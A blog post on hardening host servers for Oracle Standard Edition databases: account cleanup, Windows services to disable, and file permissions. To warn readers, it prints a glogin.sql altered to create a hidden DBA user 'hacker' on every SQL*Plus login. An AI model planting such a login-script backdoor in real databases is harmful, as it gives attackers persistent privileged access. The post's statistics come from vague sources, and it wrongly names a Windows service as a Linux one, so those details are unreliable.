or
A closer look on database hosts
The last couple of years quite a few organizations had a difficult time and internal costs where a main focal point was to save money. License costs was one thing where many IT-managers put their question marks and so often the decision was made to downgrade the Oracle database back to Standard Edition. On the other hand, often smaller organizations have embedded SE’s as part of their applications like JDE or Siebel but not the internal knowledge to maintain or configure the databases themselves adequately.
Add to this the slowly increasing publicity and attention cybercrime gets and more and more proud owners of SE(1)’s may ask themselves if their databases are as secure as its big brother, the Enterprise Edition, and how to achieve the highest possible security in their environment. And all the tips and recommendations are often felt as overwhelming to evaluate and/or to implement.
Confronted with a couple of these smaller client organizations I tried to figure out for myself how to compact the enormously dissolved knowledge on the net and check the handling of some of the given advices. Here is what I encountered.
Some scary facts first:
- In more than 90% of all acknowledged hacks the database servers and databases seemed to have been involved or targeted.
- In more then 85% of all acknowledged databases hacks the database was attacked/compromised via the Operating System or via SQL Injections.
- 80% of the recognized intrusions were found to be executed by insiders.
- Only 10% of the “standard hacks” become public/published.
- Less than 1% of all hacks seem to be recognized at all.
Sources: Black Hat / Defcon (unofficial) and Oracle Corporation
Think of all the time and effort and nerves you have to invest after being hacked because you did not …
A couple of month ago I described how to make the database software of Windows machines a little more secure. Today I like to invite everybody interested to join me on a tour through “SE Security Land” and I like to start the quest by looking at the database host again and then roughly follow the steps of a database creation.
Some questions you should ask yourself first:
– Who is practically allowed to access to the server machine(s) via the operating system and why does that seem necessary, really?
– Can you exclude as much physical and operational users as possible from accessing the machine directly? What would happen? Would anything stop to work or would some people just get angry?
– If you allow as minimal access to it as possible without interfering with the tasks of people or batch scripts to fulfill their work, does your application still work? When is the last time unused (local) OS accounts have been cleaned up?
Implementing all recommendations and advice is sometimes easier said than done, mostly due to “traditions” and established rights, which have been granted in the past and never got revoked when the tasks or personnel have changed. Try to clean up unused / unnecessary accounts – regularly and, perhaps invest some time in new security groups in your domain.
Some more questions:
– Have you ever had a good look at the services running on your database server? Do you know what is default on a Windows / Linux server?
– Do you know what each of them does? Do you know which of them are actually needed to let your machine function as an Oracle database host?
Some of them are never used on an Oracle database server and when used wrongly (or even maliciously), can give access to the database or make it possible to export your data to anyone on the internet. That is why you should disable / de-install all services you can miss, like “Routing and Remote Access” on Windows or “Net.Tcp Port Sharing Service” on a Linux server.
To state the obvious (again): The less attack surface your machine offers, the better or in other words: What is not there, can not be misused.
According to Oracle the following Windows services are definitely not needed on a database server:
• License Logging Service
• Plug and Play
• Remote Access Autodial Manager
• Remote Access Connection Manager
• Remote Access Server
• Telephony Service
Most of these services have to do with external communications and offer options to send messages – eventually with your data or information about your database (server) as payload – to external targets. And if you don’t know about it, you don’t check for it, which ultimately limits your changes to “catch a thief” considerably. And by then, your data maybe gone as well…
On the other hand, Oracle asks never to stop or disable these Windows services:
• Alerter
• Computer Browser
• EventLog
• Messenger
• OracleServiceSID
• OracleHOMENAMETNSListener
• Remote Procedure Call (RPC) Service
• Server
• Spooler
• TCP/IP NetBS Helper
• Workstation
To harden your Linux server have a good study of the articles by Lenz Grimmer and James Morris and the links given at the end of it.
I will not repeat the default advices about UMASK or removal of unused options here, they should be followed, no matter what.
But some files in an Oracle Home of even the most basic standard edition installation on every Operating System need some extra attention and are often forgotten. Just think of the damage that can be done with a creatively adapted LOGIN.SQL and/or GLOGIN.SQL, which is executed each time someone logs in or tries to login in via SQL*Plus.
The original GLOGIN.sql might look like this:
—
— Copyright (c) 1988, 2011, Oracle and/or its affiliates.
— All rights reserved.
—
— NAME
— glogin.sql
—
— DESCRIPTION
— SQL*Plus global login “site profile” file
—
— Add any SQL*Plus commands here that are to be executed when a
— user starts SQL*Plus, or uses the SQL*Plus CONNECT command.
—
— USAGE
— This script is automatically run
—
DEFINE _CURRVER=NN
col ver noprint new_value _CURRVER
set termout off
select substr(version, 1, instr(version,’.’, 1,2 )-1) as ver
from product_component_version
where product like (‘Oracle Database%’);REM Setting the Prompt
set termout on
set lines 140
set pages 50
set SQLPROMPT “”:’_USER’@’_CONNECT_IDENTIFIER’ >'”
In the following example a “little tweak” of two commands have been added…
—
— Copyright (c) 1988, 2011, Oracle and/or its affiliates.
— All rights reserved.
—
— NAME
— glogin.sql
—
— DESCRIPTION
— SQL*Plus global login “site profile” file
—
— Add any SQL*Plus commands here that are to be executed when a
— user starts SQL*Plus, or uses the SQL*Plus CONNECT command.
—
— USAGE
— This script is automatically run
—
DEFINE _CURRVER=NN
col ver noprint new_value _CURRVER
set termout off
select substr(version, 1, instr(version,’.’, 1,2 )-1) as ver
from product_component_version
where product like (‘Oracle Database%’);REM Malicious Code
REM Here: Creating a dba user!
create user hacker identified by oracle;
grant dba to hacker;REM Setting the Prompt
set termout on
set lines 140
set pages 50
set SQLPROMPT “”:’_USER’@’_CONNECT_IDENTIFIER’ >'”
… and the result is the creation of a “mysteriously reappearing” dba user called “hacker”, re-created again and again, reappearing even when dropped, each time when a dba-user uses SQL*Plus on the machine with the adapted glogin.sql to connect to the instance. And you will never see the error message when the user already exists because it is executed in the background!
All that is necessary is a user with CREATE SESSION and the grant option on the role, like all dba’s have.
Do you remember how you can "reign in/tone down" the use of SQL*Plus for your instance? Or would you quickly notice a change in your password – and/or audit files?
There should be only one user who is allowed to change or delete these files, the Oracle Software Owner. All other users may read or execute them but should under no circumstances be allowed to write to or delete them, not even root or the Windows domain admin. Period!
Now that we hardened the operating system on the database server machine a little more, let's continue and look at some steps of the database creation beginning in the next blog with some musings about initialization parameters …
Come along, add your experiences or opinions and join in!
